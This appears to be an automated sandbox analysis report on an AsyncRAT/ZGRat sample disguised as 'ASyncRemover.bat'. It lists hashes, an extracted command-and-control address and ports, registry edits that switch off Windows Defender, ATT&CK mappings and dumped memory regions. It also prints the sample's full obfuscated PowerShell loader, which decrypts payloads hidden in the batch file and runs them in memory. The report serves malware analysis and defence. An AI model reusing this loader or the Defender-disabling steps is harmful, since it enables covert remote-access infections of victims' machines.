asyncrat | 09d4308c18ecece489a51b7837968bcfc6c1273d83f5c83614bbdd119ccf6961

Analysis

max time kernel
136s
max time network
105s
platform
windows10-2004_x64
resource
win10v2004-20240419-en
resource tags

arch:x64arch:x86image:win10v2004-20240419-enlocale:en-usos:windows10-2004-x64system
submitted
07/05/2024, 01:23

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General

Target

ASyncRemover.bat
Size

63KB
MD5

e9319ac7284b6bbadf0200fee286b6c1
SHA1

51c30382aa103118937f1a9bf453a8345febafb4
SHA256

09d4308c18ecece489a51b7837968bcfc6c1273d83f5c83614bbdd119ccf6961
SHA512

73e349b61c285cdb3cfdf41ae9ba166cc0f8e5c7b989bf744f9aa8433baf41ea3a01b46fa9a88cc97fa4ca5d80f57a9dbd8fea631a164566c9e95632c9f3404b
SSDEEP

1536:Z6e+aDqc6V/xOtoqfF4OycI/k0xqAD/xtM:Z6aDqpVuoqKL5fkAvM

Score

10^/10

asyncrat zgrat rated evasion execution rat trojan

Malware Config

Extracted

Family

asyncrat

Version

0.5.8

Botnet

RATED

147.185.221.17:25565

147.185.221.17:37531

Mutex

Dudee4vQEqBD

Attributes

delay
3
install
false
install_file
AnticheatBiner.exe
install_folder
%AppData%

aes.plain

Signatures

AsyncRat
AsyncRAT is designed to remotely monitor and control other computers written in C#.
rat asyncrat

Detect ZGRat V1 5 IoCs

resource	yara_rule
behavioral2/memory/3016-33-0x0000000008670000-0x00000000086D4000-memory.dmp	family_zgrat_v1
behavioral2/memory/3016-73-0x0000000008850000-0x00000000088B8000-memory.dmp	family_zgrat_v1
behavioral2/memory/3016-74-0x0000000008940000-0x00000000089D2000-memory.dmp	family_zgrat_v1
behavioral2/memory/3016-75-0x0000000005540000-0x00000000055A8000-memory.dmp	family_zgrat_v1
behavioral2/memory/3016-78-0x0000000007E70000-0x0000000007ED4000-memory.dmp	family_zgrat_v1

Modifies Windows Defender Real-time Protection settings 3 TTPs 4 IoCs

evasion trojan

Modify Registry

T1112

Windows Service

T1543.003

Disable or Modify Tools

T1562.001

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableBehaviorMonitoring = "1"	powershell.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableOnAccessProtection = "1"	powershell.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableScanOnRealtimeEnable = "1"	powershell.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection	powershell.exe

ZGRat
ZGRat is remote access trojan written in C#.
rat zgrat

Async RAT payload 1 IoCs

rat

resource	yara_rule
behavioral2/memory/3016-24-0x0000000007940000-0x0000000007952000-memory.dmp	family_asyncrat

Blocklisted process makes network request 7 IoCs

flow	pid	Process
24	3016	powershell.exe
26	3016	powershell.exe
34	3016	powershell.exe
41	3016	powershell.exe
48	3016	powershell.exe
51	3016	powershell.exe
61	3016	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
3016	powershell.exe

Delays execution with timeout.exe 1 IoCs

evasion

pid	Process
376	timeout.exe

Suspicious behavior: EnumeratesProcesses 23 IoCs

pid	Process
3016	powershell.exe
3016	powershell.exe
532	powershell.exe
532	powershell.exe
3016	powershell.exe
3016	powershell.exe
3016	powershell.exe
3016	powershell.exe
3016	powershell.exe
3016	powershell.exe
3016	powershell.exe
3016	powershell.exe
3016	powershell.exe
3016	powershell.exe
3016	powershell.exe
3016	powershell.exe
3016	powershell.exe
3016	powershell.exe
3016	powershell.exe
3016	powershell.exe
3016	powershell.exe
3016	powershell.exe
3016	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	3016	powershell.exe
Token: SeDebugPrivilege	532	powershell.exe

Suspicious use of WriteProcessMemory 12 IoCs

description	pid	Process	procid_target
PID 3164 wrote to memory of 3016	3164	cmd.exe	86
PID 3164 wrote to memory of 3016	3164	cmd.exe	86
PID 3164 wrote to memory of 3016	3164	cmd.exe	86
PID 3016 wrote to memory of 532	3016	powershell.exe	97
PID 3016 wrote to memory of 532	3016	powershell.exe	97
PID 3016 wrote to memory of 532	3016	powershell.exe	97
PID 3016 wrote to memory of 936	3016	powershell.exe	105
PID 3016 wrote to memory of 936	3016	powershell.exe	105
PID 3016 wrote to memory of 936	3016	powershell.exe	105
PID 936 wrote to memory of 376	936	cmd.exe	107
PID 936 wrote to memory of 376	936	cmd.exe	107
PID 936 wrote to memory of 376	936	cmd.exe	107

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\ASyncRemover.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:3164
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('rQsZbBPOPJCvxNhL0LUES/xBoGdJPo5xjQuRz/WAY2Y='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('DjbA3otpI3NZoCoqJZkIpQ=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $XrWyO=New-Object System.IO.MemoryStream(,$param_var); $udTvC=New-Object System.IO.MemoryStream; $DGCBl=New-Object System.IO.Compression.GZipStream($XrWyO, [IO.Compression.CompressionMode]::Decompress); $DGCBl.CopyTo($udTvC); $DGCBl.Dispose(); $XrWyO.Dispose(); $udTvC.Dispose(); $udTvC.ToArray();}function execute_function($param_var,$param2_var){ $ILwNn=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $XDsjo=$ILwNn.EntryPoint; $XDsjo.Invoke($null, $param2_var);}$host.UI.RawUI.WindowTitle = 'C:\Users\Admin\AppData\Local\Temp\ASyncRemover.bat';$AUAcT=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Local\Temp\ASyncRemover.bat').Split([Environment]::NewLine);foreach ($RmJpd in $AUAcT) { if ($RmJpd.StartsWith(':: ')) { $jmZjY=$RmJpd.Substring(3); break; }}$payloads_var=[string[]]$jmZjY.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
  2⤵
  - Modifies Windows Defender Real-time Protection settings
  - Blocklisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:3016
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "powershell" Get-MpPreference -verbose
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:532
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\tmp74BE.tmp.bat""
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:936
  - - C:\Windows\SysWOW64\timeout.exe
      timeout 3
      4⤵
      Delays execution with timeout.exe
      PID:376

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Create or Modify System Process

T1543

Windows Service

T1543.003

Privilege Escalation

Create or Modify System Process

T1543

Windows Service

T1543.003

Defense Evasion

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Modify Registry

T1112

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
3d086a433708053f9bf9523e1d87a4e8

SHA1
b3ab5d4f282a4c8fe8c3005b8a557ed5a0e37f28

SHA256
6f8fd1b8d9788ad54eaeee329232187e24b7b43393a01aeba2d6e9675231fb69

SHA512
931ae42b4c68a4507ff2342332b08eb407050d47cf4176137ea022d0f6e513c689e998445a04c6d18d4877391705c586bfce0234632b898d41aaed0957996dfd

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache

Filesize
53KB

MD5
06ad34f9739c5159b4d92d702545bd49

SHA1
9152a0d4f153f3f40f7e606be75f81b582ee0c17

SHA256
474813b625f00710f29fa3b488235a6a22201851efb336bddf60d7d24a66bfba

SHA512
c272cd28ae164d465b779163ba9eca6a28261376414c6bbdfbd9f2128adb7f7ff1420e536b4d6000d0301ded2ec9036bc5c657588458bff41f176bdce8d74f92

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
20KB

MD5
88b26af51bf2ae195c37b2d50159e560

SHA1
6319680f68f582c7b6da22b6818559bbb5535cf5

SHA256
04735372c4ad7956f7e12b8b30679093f092d659fbed55a2e0b41238ff2c613b

SHA512
03f5eebc18ff6a46c62a2162e8a8631b9b296ee8561b0c4333e2ed7bf1e14a1b85eb80a7cc63647bb7eacd9bdd7b1d0779463c63bb2b89681d3baa5d4cfa51fa

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_nxlp1r0p.ueo.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Local\Temp\tmp74BE.tmp.bat

Filesize
171B

MD5
c486d85db14f5d298df6a1addc2d3de9

SHA1
0e941f64a37ec3aa2c99b1f5e36744fad89fc6c3

SHA256
a2afd2d74b9c6067469c9bc4d0d2f65c22caa3c67e78dd663d39b1c92965439e

SHA512
54cbc6b74575ed2fe0575e2e219e0677b01c4a54e11d3b80523bcef4a53c89f21c5b2751ea09ec44c3aff4fc85d924b4513d569d0e117d97c9f992f459063e23

Download Submit
memory/532-68-0x00000000079E0000-0x00000000079FA000-memory.dmp

Filesize
104KB

Download
memory/532-35-0x00000000747C0000-0x0000000074F70000-memory.dmp

Filesize
7.7MB

Download
memory/532-72-0x00000000747C0000-0x0000000074F70000-memory.dmp

Filesize
7.7MB

Download
memory/532-69-0x00000000079D0000-0x00000000079D8000-memory.dmp

Filesize
32KB

Download
memory/532-67-0x0000000007990000-0x00000000079A4000-memory.dmp

Filesize
80KB

Download
memory/532-66-0x0000000007980000-0x000000000798E000-memory.dmp

Filesize
56KB

Download
memory/532-49-0x00000000705E0000-0x000000007062C000-memory.dmp

Filesize
304KB

Download
memory/532-64-0x0000000007A00000-0x0000000007A96000-memory.dmp

Filesize
600KB

Download
memory/532-63-0x00000000077B0000-0x00000000077BA000-memory.dmp

Filesize
40KB

Download
memory/532-61-0x00000000075B0000-0x0000000007653000-memory.dmp

Filesize
652KB

Download
memory/532-62-0x00000000747C0000-0x0000000074F70000-memory.dmp

Filesize
7.7MB

Download
memory/532-48-0x00000000069B0000-0x00000000069E2000-memory.dmp

Filesize
200KB

Download
memory/532-50-0x00000000747C0000-0x0000000074F70000-memory.dmp

Filesize
7.7MB

Download
memory/532-60-0x0000000006990000-0x00000000069AE000-memory.dmp

Filesize
120KB

Download
memory/532-65-0x0000000007930000-0x0000000007941000-memory.dmp

Filesize
68KB

Download
memory/532-36-0x00000000747C0000-0x0000000074F70000-memory.dmp

Filesize
7.7MB

Download
memory/3016-27-0x0000000007CA0000-0x0000000007D3C000-memory.dmp

Filesize
624KB

Download
memory/3016-19-0x0000000006810000-0x000000000685C000-memory.dmp

Filesize
304KB

Download
memory/3016-34-0x00000000087D0000-0x00000000087EE000-memory.dmp

Filesize
120KB

Download
memory/3016-32-0x00000000086F0000-0x0000000008766000-memory.dmp

Filesize
472KB

Download
memory/3016-31-0x00000000747C0000-0x0000000074F70000-memory.dmp

Filesize
7.7MB

Download
memory/3016-37-0x00000000747C0000-0x0000000074F70000-memory.dmp

Filesize
7.7MB

Download
memory/3016-6-0x0000000006090000-0x00000000060F6000-memory.dmp

Filesize
408KB

Download
memory/3016-4-0x00000000747C0000-0x0000000074F70000-memory.dmp

Filesize
7.7MB

Download
memory/3016-30-0x00000000747CE000-0x00000000747CF000-memory.dmp

Filesize
4KB

Download
memory/3016-28-0x0000000008BE0000-0x0000000009184000-memory.dmp

Filesize
5.6MB

Download
memory/3016-24-0x0000000007940000-0x0000000007952000-memory.dmp

Filesize
72KB

Download
memory/3016-23-0x0000000006D70000-0x0000000006D7E000-memory.dmp

Filesize
56KB

Download
memory/3016-22-0x0000000006D50000-0x0000000006D58000-memory.dmp

Filesize
32KB

Download
memory/3016-21-0x0000000006D20000-0x0000000006D3A000-memory.dmp

Filesize
104KB

Download
memory/3016-20-0x0000000007FB0000-0x000000000862A000-memory.dmp

Filesize
6.5MB

Download
memory/3016-33-0x0000000008670000-0x00000000086D4000-memory.dmp

Filesize
400KB

Download
memory/3016-18-0x0000000006760000-0x000000000677E000-memory.dmp

Filesize
120KB

Download
memory/3016-17-0x0000000006260000-0x00000000065B4000-memory.dmp

Filesize
3.3MB

Download
memory/3016-0-0x00000000747CE000-0x00000000747CF000-memory.dmp

Filesize
4KB

Download
memory/3016-5-0x00000000058A0000-0x00000000058C2000-memory.dmp

Filesize
136KB

Download
memory/3016-7-0x00000000061F0000-0x0000000006256000-memory.dmp

Filesize
408KB

Download
memory/3016-73-0x0000000008850000-0x00000000088B8000-memory.dmp

Filesize
416KB

Download
memory/3016-74-0x0000000008940000-0x00000000089D2000-memory.dmp

Filesize
584KB

Download
memory/3016-75-0x0000000005540000-0x00000000055A8000-memory.dmp

Filesize
416KB

Download
memory/3016-76-0x0000000009190000-0x0000000009222000-memory.dmp

Filesize
584KB

Download
memory/3016-77-0x00000000747C0000-0x0000000074F70000-memory.dmp

Filesize
7.7MB

Download
memory/3016-78-0x0000000007E70000-0x0000000007ED4000-memory.dmp

Filesize
400KB

Download
memory/3016-2-0x0000000005A60000-0x0000000006088000-memory.dmp

Filesize
6.2MB

Download
memory/3016-3-0x00000000747C0000-0x0000000074F70000-memory.dmp

Filesize
7.7MB

Download
memory/3016-1-0x0000000005290000-0x00000000052C6000-memory.dmp

Filesize
216KB

Download
memory/3016-85-0x00000000747C0000-0x0000000074F70000-memory.dmp

Filesize
7.7MB

Download